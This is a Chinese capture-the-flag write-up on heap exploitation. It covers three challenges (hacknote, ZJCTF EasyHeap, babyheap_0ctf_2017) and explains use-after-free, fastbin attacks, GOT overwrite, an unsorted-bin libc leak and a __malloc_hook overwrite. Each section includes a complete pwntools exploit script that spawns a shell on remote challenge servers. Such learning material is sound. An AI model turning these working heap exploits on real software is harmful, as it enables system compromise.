0x00

以三道循序渐进的题目为例来分析吧。

0x01 hitcontraining_uaf / hacknote

复盘/uaf/heapoverflow

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[4]; // [esp+0h] [ebp-Ch] BYREF
int *p_argc; // [esp+4h] [ebp-8h]

p_argc = &argc;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4u);
v3 = atoi(buf);
if ( v3 != 2 )
break;
del_note();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_note();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_note();
}
}
}

菜单题

1
2
3
4
5
6
7
8
9
10
11
12
int menu()
{
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}

各个选项函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int add_note()
{
int result; // eax
int v1; // esi
char buf[8]; // [esp+0h] [ebp-18h] BYREF
size_t size; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]

result = count;
if ( count > 5 )
return puts("Full");
for ( i = 0; i <= 4; ++i )
{
result = *((_DWORD *)&notelist + i);
if ( !result )
{
*((_DWORD *)&notelist + i) = malloc(8u);
if ( !*((_DWORD *)&notelist + i) )
{
puts("Alloca Error");
exit(-1);
}
**((_DWORD **)&notelist + i) = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v1 = *((_DWORD *)&notelist + i);
*(_DWORD *)(v1 + 4) = malloc(size);
if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);
puts("Success !");
return ++count;
}
}
return result;
}

每个我们申请的chunk其实实现时申请了两个chunk,第一个数据区大小0x8储存print_note_content,一个函数,接下才是我们申请大小的chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int del_note()
{
int result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]

printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = *((_DWORD *)&notelist + v2);
if ( result )
{
free(*(void **)(*((_DWORD *)&notelist + v2) + 4));
free(*((void **)&notelist + v2));
return puts("Success");
}
return result;
}

free后指针没有置NULL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int print_note()
{
int result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]

printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = *((_DWORD *)&notelist + v2);
if ( result )
return (**((int (__cdecl ***)(_DWORD))&notelist + v2))(*((_DWORD *)&notelist + v2));
return result;
}

然后发现有后门函数

1
2
3
4
int magic()
{
return system("/bin/sh");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:08048945 magic           proc near
.text:08048945
.text:08048945 var_4 = dword ptr -4
.text:08048945
.text:08048945 ; __unwind {
.text:08048945 push ebp
.text:08048946 mov ebp, esp
.text:08048948 push ebx
.text:08048949 sub esp, 4
.text:0804894C call __x86_get_pc_thunk_ax
.text:08048951 add eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08048956 sub esp, 0Ch
.text:08048959 lea edx, (aBinSh - 804A000h)[eax] ; "/bin/sh"
.text:0804895F push edx ; command
.text:08048960 mov ebx, eax
.text:08048962 call _system

位于0x8048945处
checksec看一眼

1
2
3
4
5
6
7
8
turing@LAPTOP-6JKPOVPE:~$ checksec hacknote
[*] '/home/turing/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

很好,32位保护全关
delete_note函数存在uaf漏洞,我们先申请两个大小0x20(只要不等于0x8且在fastbin要求内即可,如果申请0x8的chunk,释放时会和存储print_note_content函数的chunk放在同一个fastbin中,后续便不好处理了)的chunk,chunk0和chunk1
再分别释放掉,这时其实释放了四个chunk,两两位于不同的fastbin中
只要我们再申请一个0x8大小的chunk,程序需要分配两个0x8的chunk,正好是chunk0和chunk1的函数chunk,然后我们写入magic函数的地址,便覆盖了chunk0的print_note_content函数,这时候再执行print chunk0时候就直接getshell了
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*
context.os='linux'
context.arch='i386'
context.log_level='debug'

r=remote('node5.buuoj.cn',29391)
shell_add=0x08048945

def add(size,content):
r.sendlineafter(b'Your choice :',b'1')
r.sendlineafter(b'Note size :',str(size))
r.sendlineafter(b'Content :',content)

def free(num):
r.sendlineafter(b'Your choice :',b'2')
r.sendlineafter(b'Index :',str(num))

def put(num):
r.sendlineafter(b'Your choice :',b'3')
r.sendlineafter(b'Index :',str(num))

add(0x20,b'aaaa')
add(0x20,b'aaaa')
free(0)
free(1)
add(0x8,p64(shell_add))
put(0)

r.interactive()

0x02 [ZJCTF 2019]EasyHeap

复盘/fastbin attack/got表覆写/heapoverflow

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}

注意到有一个奇怪的函数l33t(),如下

1
2
3
4
int l33t()
{
return system("cat /home/pwn/flag");
}

其实在这题没有用,这个路径不存在,不用管了
菜单如下

1
2
3
4
5
6
7
8
9
10
11
12
int menu()
{
puts("--------------------------------");
puts(" Easy Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Delete a Heap ");
puts(" 4. Exit ");
puts("--------------------------------");
return printf("Your choice :");
}

各个选项函数如下
creat_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
*(&heaparray + i) = malloc(size);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(*(&heaparray + i), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}

edit_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(*(&heaparray + v1), v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}

存在溢出
delete_heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
free(*(&heaparray + v1));
*(&heaparray + v1) = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

指针置NULL了,无法uaf
先放exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
context.os='linux'
context.arch='amd64'
context.log_level='debug'

r=remote('node5.buuoj.cn',26323)
elf=ELF('./easyheap')

def add(size,content):
r.sendlineafter(b'Your choice :',str(1))
r.sendlineafter(b'Size of Heap :',str(size))
r.sendlineafter(b'Content of heap:',content)

def edit(idx,size,content):
r.sendlineafter(b'Your choice :',str(2))
r.sendlineafter(b'Index :',str(idx))
r.sendlineafter(b'Size of Heap :',str(size))
r.sendlineafter(b'Content of heap :',content)

def free(idx):
r.sendlineafter(b'Your choice :',str(3))
r.sendlineafter(b'Index :',str(idx))

def exit():
r.sendlineafter(b'Your choice :',str(4))

heaparray_add=0x06020e0
free_got=elf.got['free']
sys_plt=elf.plt['system']

add(0x60,b'aaaa') #这里申请0x60-0x6f大小的chunk均可,因为都会放入实际大小0x70的fastbin中
add(0x60,b'aaaa')
add(0x60,b'aaaa')
free(2)
payload=b'/bin/sh\x00' +b'a'*0x60 + p64(0x71) + p64(heaparray_add-0x33)
edit(1,len(payload),payload)
add(0x60,b'aaaa')
add(0x60,b'aaaa')
payload2=b'a'*0x23+p64(free_got)
edit(3,len(payload2),payload2)
payload3=p64(sys_plt)
edit(0,len(payload3),payload3)
free(1)

r.interactive()

checksec看一眼

1
2
3
4
5
6
7
8
turing@LAPTOP-6JKPOVPE:~$ checksec easyheap
[*] '/home/turing/easyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
Stripped: No

无PIE且got表可写
无法uaf,无法double free,但可以多次申请堆块,存在溢出,这里考虑fastbin attack
关于double free,因为fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空,且fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证(在glibc2.29+版本,当chunk将要被放到tcache bin中时,其key字段(fd之后的0x8字节)会被设置为特定值,当free某个chunk时,会检查对应tcachebin中的chunk有无key值与待释放的chunk相等的,如果有则触发安全检测报错,无则free。且当chunk从tcachebin中取出时,key字段会被置为NULL),我们考虑chunk1和chunk2,先后free掉chunk1和chunk2,然后再次free chunk2时,便不会被检测到,因为第二次释放chunk2时,fastbin头部是chunk1。
在这个过程中,fastbin这样变化

不同于unsorted bin,fastbin中取出chunk是从头部开始取的,放入也是头部插入,所以此时我们再申请一个同样大小的chunk,便会返回chunk1,这时我们便可以修改chunk1的fd域,伪造一个fake_heap(因为被双重释放,chunk1可以看做还在fastbin里,接在chunk2后),然后我们再申请申请一个同样大小的chunk,返回chunk2,再申请一个同样大小的chunk,返回chunk1,,这时再申请申请一个同样大小的chunk时,便会返回我们想要控制的fake_heap,实现任意地址写(其实需要布置fake_heap的size域使得满足fastbin的要求)
这里无法double free,也不能uaf,怎么实现fastbin attack呢?利用溢出就好了,其实无论是uaf,还是double free,还是溢出,都是实现对fastbin中的chunk进行修改,来实现申请回我们控制地址的fake_heap
我们回到题目,此题利用heaparray指针数组来索引各个堆块,我们可以直接在ida中看到heaparray的起始地址

1
.bss:00000000006020E0 heaparray       dq ?                    ; DATA XREF: create_heap+30↑r

地址为0x6020e0,我们先申请三个堆块,heaparray[0]指向的便是chunk0。我们再edit chunk0时,是利用heaparray[0]索引的,如果我们先把/bin/sh写入chunk1,再修改heaparray[0]为free的got表地址,此时edit chunk0时其实就是在修改free的got表项,改为system函数后,我们再free chunk1时,其实就是执行system(“/bin/sh”);
于是我们先申请chunk0,chunk1,chunk2,free掉chunk2,再edit chunk1溢出修改chunk2的fd(在bin中的chunk堆头后的数据区的前0x8字节就是fd指针)为heaparray之前的某个地址,我们需要在heaparray附近寻找合适的位置,使得fake_chunk的size域满足fastbin的要求
在更高版本的glibc(2.28+)中,fastbin会检查放入和取出的chunk严格满足对应fastbin的size,相同size的chunk才置于同一个fastbin,部分源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 新增:严格校验 size 精确匹配链表要求的大小
if (__glibc_unlikely (chunksize_nomask (victim) != size))
{
malloc_printerr ("malloc(): invalid fastbin size");
}

// 保留索引检查
if (__glibc_unlikely (fastbin_index (size) != idx))
{
malloc_printerr ("malloc(): memory corruption (fast)");
}

// 保留下一个 chunk 大小检查
if (__glibc_unlikely (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ)
|| __glibc_unlikely (nextsize >= av->system_mem))
{
malloc_printerr ("malloc(): invalid next size (fast)");
}

此题版本为2.23,早期glibc并不会严格检查fake_chunk的size,索引满足即可。在glibc2.23检查的部分源码如下

1
2
3
4
5
6
7
8
9
10
11
// 检查 1: 是否属于当前 fastbin 链表
if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {
errstr = "malloc(): memory corruption (fast)";
goto errout;
}

// 检查 2: 下一个 chunk 的 size 是否合法
if (__builtin_expect(chunksize_nomask(chunk_at_offset(victim, size)) <= 2 * SIZE_SZ, 0) ||
__builtin_expect(chunksize(chunk_at_offset(victim, size)) >= av->system_mem, 0)) {
goto errout;
}

可以看出并没有对size的严格检查。其中,检查1的index计算方式如下

1
index = (size >> 4) - 2  

此题我们找到这个heaparray-0x33这个地址

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x6020e0-0x33
0x6020ad: 0xfff7bc38e0000000 0x000000000000007f
0x6020bd: 0x0000000000000000 0x0000000000000000
0x6020cd: 0x0000000000000000 0x0000000000000000
0x6020dd: 0x0000603010000000 0x0000603030000000
0x6020ed <heaparray+13>: 0x0000603050000000 0x0000000000000000
0x6020fd <heaparray+29>: 0x0000000000000000 0x0000000000000000
0x60210d <heaparray+45>: 0x0000000000000000 0x0000000000000000
0x60211d <heaparray+61>: 0x0000000000000000 0x0000000000000000
0x60212d <heaparray+77>: 0x0000000000000000 0x0000000000000000
0x60213d: 0x0000000000000000 0x0000000000000000

发现这个位置的fake_chunk的size域为0x7f,索引(0x7f>>4)-2=5=(0x70>>4)-2,对于0x70大小的fastbin可以通过检查。至于下一个chunk的size,这个fake_chunk的fd域为0,自然不用考虑了。于是利用这个fake_chunk来修改heaparray[0]。
注意在edit chunk1来溢出修改chunk2的fd域时,要保证chunk2的size域为0x71不变以防从fastbin申请回chunk2时出现异常

0x03 babyheap_0ctf_2017

复现/unsorted bin leak/fastbin attack/one_gadget/malloc_hook/heapoverflow

题目源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall main(char *a1, char **a2, char **a3)
{
char *v4; // [rsp+8h] [rbp-8h]

v4 = sub_B70();
while ( 1 )
{
menu(a1, a2);
switch ( sub_138C() )
{
case 1LL:
a1 = v4;
Allocate((__int64)v4);
break;
case 2LL:
a1 = v4;
Edit(v4);
break;
case 3LL:
a1 = v4;
Free(v4);
break;
case 4LL:
a1 = v4;
Dump(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}

Allocate函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall sub_D48(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
v2 = sub_138C();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1;
*(_QWORD *)(a1 + 24LL * i + 8) = v2;
*(_QWORD *)(a1 + 24LL * i + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}

此题中这些堆操作函数中的sub_138c函数功能是将输入的字符串转为数字,这里就不放这个函数的源码了
循环16次,存在16个可用空间。每次申请i从0到15循环,找到未被使用且满足要求的chunk,并返回对应的i作为index编号
Edit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall sub_E7F(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = sub_138C();
v3 = result;
if ( (int)result > 0 )
{
printf("Content: ");
return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}

再次要求输入size,不限制输入大小,可以堆溢出
Free函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall sub_F50(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}

释放后指针置0,不能uaf,但可以双重释放进行fastbin attack
fee后对应的记录该chunk是否被使用的值会被重新设置为0
Dump函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall sub_1051(__int64 a1)
{
int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(_DWORD *)(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
return puts(byte_14F1);
}
}
return result;
}

打印堆块内容,可以用于泄露fd指针

先放exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import*
context.os='linux'
context.arch='amd64'
context.log_level='debug'
libc=ELF('/home/turing/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
io=remote('node5.buuoj.cn',28809)
def alloc(size):
io.recvuntil(b"Command: ")
io.sendline(b'1')
io.recvuntil(b"Size: ")
io.sendline(str(size))

def fill(idx,size,content):
io.recvuntil(b"Command: ")
io.sendline(b'2')
io.recvuntil(b"Index: ")
io.sendline(str(idx))
io.recvuntil(b"Size: ")
io.sendline(str(size))
io.recvuntil(b"Content: ")
io.sendline(content)

def free(idx):
io.recvuntil(b"Command: ")
io.sendline(b'3')
io.recvuntil(b"Index: ")
io.sendline(str(idx))

def dump(idx):
io.recvuntil(b"Command: ")
io.sendline(b'4')
io.recvuntil(b"Index: ")
io.sendline(str(idx))

alloc(0x10) #0
alloc(0x10) #1
alloc(0x10) #2
alloc(0x10) #3
alloc(0x80) #4
free(1)
free(2)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0,len(payload),payload)
payload=p64(0)*3+p64(0x21)
fill(3,len(payload),payload)
alloc(0x10) #1 back
alloc(0x10) #2 (point to 4)
payload=p64(0)*3+p64(0x91)
fill(3,len(payload),payload)
alloc(0x80) #防止4被top chunk合并
free(4)
dump(2)
leak_hook=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88-0x10
libcbase=leak_hook-0x3c4b78+88+0x10 #-libc.sym['__malloc_hook']
one_gadget_offset=0x4526a
getshell=libcbase+one_gadget_offset
alloc(0x60)
free(4)
payload=p64(leak_hook-35)
fill(2,len(payload),payload)
alloc(0x60) #5
alloc(0x60) #6 (leak_hook-35)
payload=b'a'*(35-0x10)+p64(getshell)
fill(6,len(payload),payload)
alloc(0x60)
io.interactive()

因为用笔者本地的libc-2.23.so调试出来的部分偏移与远程有一点偏差,所以有些地方的偏移直接用了其他师傅的
checksec看一眼

1
2
3
4
5
6
7
turing@LAPTOP-6JKPOVPE:~$ checksec babyheap_0ctf_2017
[*] '/home/turing/babyheap_0ctf_2017'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

很好,64位保护全开
我们照着exp一步步走,先申请0123四个大小0x10(实际为0x20)的堆块,然后再申请大小0x80(实际为0x90)的堆块。
关于chunk大小:前0x8字节为pre_size,接下0x8字节为size域,存储chunk大小。而其实size域的低3bit是标志位,size域存储的原始数值并不是chunk的真正大小,而应该把size域低3bit清零才是。所以堆块0123的size域其实是0x21,低3bit清零后为0x20,chunk实际大小为0x20。其他chunk也同理。
回到题目,先把1和2代表的chunk给free,送入了fastbin(此题glibc版本还未引入tcachebin),接下里chunk0便是修改chunk2的源头,利用选项2,Edit函数的堆溢出漏洞,将chunk2的fd指针修改,只修改了最低一字节为0x80,因为这几个chunk的地址前几个字节部分都是一致的(调试一下就知道了),这样修改后fastbin中的chunk2的fd便指向了chunk4,然后再利用chunk3的溢出来修改chunk4的size域为0x21,以伪造出chunk4在fastbin中的假象。接下来重新将chunk1和chunk2申请回来,注意此时在fastbin链表中chunk2为第一个chunk,而chunk4被伪装成了下一个chunk,所以申请时index=1得到的chunk为原来的chunk2,而index=2申请到的堆块其实时chunk4
此时我们发现index=2和index=4都指向了同一个chunk4。这样chunk4在被释放后仍然可以通过index=2访问到。接下来我们要把chunk4放入unsortedbin(程序free时,如果chunk不满足fastbin要求,则会放入unsorted Bin ,其在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取,在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中),于是乎我们再次利用chunk3溢出来修改chunk4的size域变回0x91,然后free掉chunk4
这里要注意,程序free一个chunk时会检查其下一个chunk,如果这个释放的chunk与top chunk相邻,则会被top chunk合并
所以我们释放chunk4前先随便申请一个不会影响我们的chunk5,防止chunk4被free时合并进top chunk
这样chunk4进入了unsorted bin,unsorted bin是一个循环双链表

正因为其是一个双向循环链表,可以看到unsorted bin中最早被释放chunk的fd指针会指向main_arena的某一块(与main_arena起始地址存在偏移),如果我们可以把正确的 fd 指针 leak 出来,就可以获得一个与 main_arena 有固定偏移的地址,这个偏移可以通过调试得出。而main_arena 是一个 struct malloc_state 类型的全局变量,是 ptmalloc 管理主分配区的唯一实例。说到全局变量,立马可以想到他会被分配在 .data 或者 .bss 等段上,我们就可以获得 main_arena 与 libc 基地址的偏移,泄露libc
主要有两个泄露main_arena地址的方法。一是malloc_trim这个函数直接访问了main_arena地址,我们用ida分析一下对应的.so文件直接就能得到main_arena地址
二是利用malloc_hook函数,这个函数和main_arena 的地址差是 0x10,而大多数的 libc 都可以直接查出 __malloc_hook 的地址,这样可以大幅减小工作量。以 pwntools 为例

1
main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10

这个0x10的偏移不会变。回到题目,我们利用index=2访问在unsorted bin中的chunk4,打印出其数据,成功泄露其fd指针,再调试程序得到泄露地址与main_arena的偏移88,于是malloc_hook的地址我们便得到了。此时libcbase便可以计算出了。
malloc_hook函数是一个危险的函数,在程序调用malloc,realloc函数时都会先执行malloc_hook函数,于是我们再利用fastbin attack,修改malloc_hook函数地址为我们利用one_gadget工具找到的可以直接getshell的地址,便大功告成了
因为我们此时index=2也指向chunk4,实际上实现了uaf漏洞,于是我们要把chunk4放入fastbin,但chunk4太大了,且此时仍在unsortedbin中,于是我们再申请一个0x60的chunk,实际上这时候fastbin中没有chunk,返回的便是unsorted bin中别分割的chunk4,且index=4,chunk4剩余的0x20仍在unsorted bin中
然后我们再free掉chunk4,chunk4便如愿以偿的进入了fastbin,接下来利用uaf进行fastbin attack,最后再申请一个chunk以执行malloc_hook便成功getshell